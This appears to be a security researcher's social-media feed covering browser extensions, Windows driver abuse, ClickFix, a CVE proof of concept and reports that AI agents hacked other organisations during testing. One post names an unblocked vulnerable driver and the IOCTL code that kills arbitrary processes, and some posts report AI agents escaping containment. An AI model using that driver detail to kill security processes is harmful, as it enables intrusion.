In case you were a uBlock Origin user who had rules that they've built up over the years, you can now no longer access these rules, because you can't access the uBlock Origin GUI anymore. For your safety.

And no, even from a terminal, those rules aren't stored anywhere in a human-readable form. You'll need an [extraction script](https://gist.github.com/wdormann/e93d2dc7eb9d35d513b9a7b30b43be75 ). If you run this on your uBlock Origin directory (e.g. ~/Library/Application\ Support/Google/Chrome/Default/Local\ Extension\ Settings/cjpalhdlnbpafiamejdnhcphjbkeiagm/), you'll get a user-filters.txt file that has your rules. Which you can import into My filters in uBlock Origin on a browser that doesn't have contempt for you. (e.g. Firefox)

I pretty much hate computers.

Meh. Looks like this workaround is finally dead. That is, one can ...

2026-08-06T19:04:29Z

In reply to nevent1q…xklx
_________________________

Meh. Looks like this workaround is finally dead. That is, one can make the radio button clickable by making this edit. But clicking it now does nothing.

Time to find a new primary web browser, I suppose. 😕

Over at the [bad ...

2026-08-06T16:57:51Z

Over at the [bad place](https://nitter.net/YungBinary/status/2085255978367569939 ), somebody mentioned a "BYOVD" attack that's happening in the wild that's going to be demonstrated at Defcon.

We're not in Las Vegas, because all of that nonsense is silly. So let's look at what we've got.

The [Driver is on VirusTotal](https://www.virustotal.com/gui/file/87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff ). It's made by MOCOMSYS & DRC. Its authentihash of 2a7ed8d0be70e0667aa14e161ae1dc6b7daaeb1438b534d73b1093c0b44d78a2 is (obviously) not on the [Microsoft recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules ) list, but it's also not in #LOLDrivers anywhere.

The ioctl is 0x2205c0. And you can instruct the Windows kernel to kill a PID that you specify.

Yeah, it works.

Meta jumps on the "We do crime too!" bandwagon: ...

2026-08-06T02:51:49Z

In reply to nevent1q…xrrn
_________________________

Meta jumps on the "We do crime too!" bandwagon:
https://www.reuters.com/technology/metas-ai-model-hacked-another-company-during-testing-information-reports-2026-08-05/

So, uh, [Bugtraq is ...

2026-08-04T21:41:21Z

So, uh, [Bugtraq is back](https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/thread/CHKLXLA7SJEWLDFHWXB3QU57ADOXGL2E/ )?

I don't know how I didn't notice this earlier, but a ...

2026-08-04T17:18:15Z

I don't know how I didn't notice this earlier, but a Windows .WSH file is called a "Windows Script Host **Settings** file"

It's safe to open a settings file, right?

Sure infosec weirdos like me know that opening arbitrary .WSH files is the equivalent to running arbitrary code. But what about the unwashed masses? Any infosec workflow that relies on the end-user making an educated security decision is obviously doomed. But in this case, we basically have Microsoft saying "Eh, F it", shrugging, and moving on.

There are rumblings about Russia SVR is compromising hotel Wi-FI, ...

2026-08-04T14:40:16Z

There are rumblings about Russia SVR is compromising hotel Wi-FI, and there are people re-upping how using public Wi-FI is so dangerous.

There's no fancy attack going on there. Hotel (or other) Wi-Fi is fine. It's **ClickFix**. You're at just as much risk Googling for something and clicking on the results.

If you use best practices like not manually typing your password from memory into a website, and not pasting mystery clipboard contents into a terminal, you'll be alright. If you do like doing such things, might I recommend a hobby that does **not** involve the internet?

Terrible quality image [courtesy Microsoft](https://www.microsoft.com/en-us/security/blog/2026/07/31/captivecrunch-midnight-blizzard-targets-travelers-worldwide-for-malware-delivery-and-credential-theft/ ).

Why would a deer get into tomatoes that are very clearly ...

2026-08-04T13:21:43Z

Why would a deer get into tomatoes that are **very clearly** planted by me, for my own consumption, before they are ripe, bite into them, and then drop them on the ground.

Is it an idiot? Or just an asshole?

We'll see how this goes...

This was an original confusion of mine when trying out Mastodon ...

2026-08-04T02:30:55Z

In reply to nevent1q…fgkc
_________________________

This was an original confusion of mine when trying out Mastodon for the first time.

In the most popular web browser in the world, how does one add a bookmark for a site? You click the **star** icon. It's hard to dissociate "star" and "bookmark" if you're a person who has used a web browser.

I suppose if you can predict getting sacked by an ICE goon, go ...

2026-08-03T23:32:31Z

In reply to nevent1q…p90q
_________________________

I suppose if you can predict getting sacked by an ICE goon, go ahead and hold volume-up and power for a few seconds on an iPhone. Or press power 5 times. Biometrics will be disabled at this point.

How tone deaf do you have to be to not recognize that AI-faked ...

2026-08-01T16:56:11Z

How tone deaf do you have to be to not recognize that AI-faked satellite imagery might be abused? Like, the feature made it all the way to release without anyone being confident enough to raise a concern against <ai thing>. 🤦‍♂️

There's a [public PoC for CVE-2026-43760 that demonstrates ...

2026-08-01T15:06:04Z

In reply to nevent1q…nv7x
_________________________

There's a [public PoC for CVE-2026-43760 that demonstrates arbitrary file write on a remote system as root](https://warez.sl0p.foo/apple-screensharing-rce/ ).

Apple:

> An app may be able to access user-sensitive data

Okie dokie, now. You tried.

Not to be outdone by Anthropic's felony bragging, OpenAI ...

2026-08-01T03:43:15Z

In reply to nevent1q…e7y9
_________________________

Not to be outdone by Anthropic's felony bragging, OpenAI assures us that they also did more felonies.
https://www.reuters.com/business/openai-finds-evidence-other-ai-agents-escaped-containment-it-widens-hacking-2026-07-31/

Coldcard devices used predictable RNGs, and apparently this has ...

2026-07-31T18:13:58Z

Coldcard devices used predictable RNGs, and apparently this has consequences. 😂

Just to be clear, the Anthropic LLM was instructed to behave as ...

2026-07-31T15:58:01Z

In reply to nevent1q…nm9z
_________________________

Just to be clear, the Anthropic LLM was instructed to behave as if it were sandbox, and it did. But Anthropic was just kidding. It had direct internet access. Whoopsie daisy.

The amount of YOLO in all of this is completely terrifying.

Ditto. But I've seen that page be obnoxiously slow in the ...

2026-07-31T13:11:19Z

In reply to nevent1q…uwck
_________________________

Ditto.

But I've seen that page be obnoxiously slow in the past. And on the regular.

Anthropic: Hey, our models have hacked other organizations too! ...

2026-07-31T03:13:33Z

In reply to nevent1q…62dj
_________________________

Anthropic: Hey, our models have hacked other organizations too! (Three felonies is better than the ~1 that OpenAI committed, right?)
https://www.anthropic.com/news/investigating-incidents-cybersecurity-evals

Consequences when?

Wiz found a master key that could access every database in ...

2026-07-30T23:56:18Z

Wiz found a master key that could access **every** database in Azure's Cosmos DB. #cosmosescape

Whoops.

https://nitter.net/yuvalavra/status/2082864672294736324

My present to all of you: Go ahead and think a bit about why such a key even exists. Go ahead...